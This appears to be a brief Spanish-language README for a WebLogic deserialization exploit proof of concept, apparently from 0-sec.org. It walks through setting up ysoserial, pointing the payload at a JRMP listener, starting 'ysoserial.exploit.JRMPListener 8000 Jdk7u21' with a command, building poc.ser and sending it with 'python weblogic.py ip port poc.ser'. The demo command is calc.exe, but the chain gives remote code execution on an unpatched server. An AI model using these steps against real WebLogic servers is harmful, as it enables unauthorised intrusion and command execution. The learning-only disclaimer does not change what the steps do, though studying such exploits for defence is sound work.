
0-sec.org
Solo para fines de aprendizaje e intercambio, otros usos son bajo su propia responsabilidad.
Los archivos jar relevantes ya se han importado al proyecto, y el método de explotación utiliza JRMP de yso. Durante el aprendizaje y la depuración, se puede modificar el método de explotación.
Primero, coloque el archivo SerializedSystemIni.dat de weblogic en la carpeta security.
Luego, renombre yso a ysoserial.jar e impórtelo en el directorio lib.

A continuación, la dirección IP y el puerto de getObject en weblogic/wsee/jaxws/persistence/PersistentContext.java.
try {
var3.writeObject(Poc.getObject("127.0.0.1:8000"));
} catch (Exception e) {
e.printStackTrace();
}
Finalmente, supervise de forma remota a través de JRMP y ejecute comandos usando 7u21.
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8000 Jdk7u21 "calc.exe"
Uso: ejecute Poc.java para generar el archivo de serialización poc.ser, luego use
python weblogic.py ip port poc.ser

